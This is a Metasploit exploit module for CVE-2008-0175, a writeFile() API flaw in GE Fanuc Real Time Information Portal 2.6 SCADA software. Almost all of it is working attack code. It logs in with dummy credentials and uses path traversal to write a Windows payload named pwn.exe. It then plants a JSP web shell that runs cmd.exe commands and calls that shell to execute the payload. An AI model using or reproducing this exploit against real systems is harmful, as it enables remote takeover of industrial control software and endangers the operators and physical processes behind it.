GE Fanuc Real Time Information Portal 2.6 writeFile() API Exploit (Metasploit)



##

# $Id: hooked_on_fanucs.rb
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'
require 'soap/rpc/driver'
require 'soap/filter'

# Must have httpaccess2 for this to work
class CookieFilter < SOAP::Filter::StreamHandler
 attr_accessor :cookie_value

 def initialize
   @cookie_value = nil
 end

 def on_http_outbound(req)
   req.header['Cookie'] = @cookie_value if @cookie_value
 end

 def on_http_inbound(req, res)
   cookie = res.header['Set-Cookie'][0]
   cookie.sub!(/;.*\z/, '') if cookie
   @cookie_value = cookie
 end
end

class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Hooked on Fanucs - GE Fanuc Real Time Information Portal 2.6 writeFile() API exploit',
            'Description'    => %q{
                    This module exploits an API flaw in GE Fanuc SCADA software 
            },
            'Author'         => [ 'kf <kf_lists[at]digitalmunition.com>' ],
            'Version'        => '$Revision: 1 $',
            'References'     => 
                [
                    ['CVE', '2008-0175'],
                    ['URL', 'http://support.gefanuc.com/support/index?page=kbchannel&id=KB12460'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Targets'        =>
                                [
                                        [ 'GE Fanuc Real Time Information Portal 2.6', { 'Payload' => { 'Space' => 4000 } } ],
                                ],
                        'DefaultTarget'  => 0,
            'Platform'       => 'win',
            'Privileged'     => false
            ))

            register_options(
                        [
                                Opt::RPORT(80)
                        ], self.class)

    end

    def exploit

        namespace = 'urn:iFixWeb'
        endpoint = 'http://' + datastore['RHOST'] + '/infoAgentSrv/iFixWeb'  # CHANGE THIS
        proxy    = SOAP::RPC::Driver.new(endpoint,namespace)
        proxy.streamhandler.filterchain << CookieFilter.new
        proxy.wiredump_dev = STDERR # Enable this for XML output

        # Various functions to play with...
        proxy.add_method('writeFile', 'writeFile', 'p2', 'p3')
        proxy.add_method('login', 'login', 'p2', 'p3', 'p4')
        proxy.add_method('logout')
        proxy.add_method('getFileList', 'getFileList', 'p2')
        proxy.add_method('deleteFile', 'deleteFile', 'p2')

        proxy.login('blarg', Rex::Text.encode_base64("BBBBBBBBBBB",''), 'zzzzzzzzz',true)
        
                bin = Rex::Text.to_win32pe(payload.encoded, '')
                cmd =  Rex::Text.encode_base64(bin,'')

        proxy.writeFile('..\\..\\..\\..\\..\\..\\..\\..\\.\\..\\pwn.exe',cmd,false)
        proxy.getFileList('..\\..\\..\\..\\..\\..\\..\\..\\.\\..\\pwn.exe', 1)

        jspshell = '<FORM METHOD=GET ACTION=\'jspshell.jsp\'>
        <INPUT name=\'cmd\' type=text>
        <INPUT type=submit value=\'Run\'>
        </FORM>
        <%@ page import="java.io.*" %>
        <%
            String cmd = request.getParameter("cmd");
            String output = "";
            if(cmd != null) {
                String s = null;
                try {
                    Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
                    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    while((s = sI.readLine()) != null) {
                        output += s;
                    }
                }
                catch(IOException e) {
                    e.printStackTrace();
                }
            }
        %>
        <pre>
        <%=output %>
        </pre>'

        proxy.writeFile('jspshell.jsp', Rex::Text.encode_base64(jspshell,''),false)
        proxy.logout    
       
        connect
        print_status("Hooked on Fanucs works for me!")
                sock.put("GET /infoAgentSrv/jspshell.jsp?cmd=c:\\pwn.exe HTTP/1.0\r\n\r\n")

        handler

                disconnect

                              
    end

end

# milw0rm.com [2008-11-01]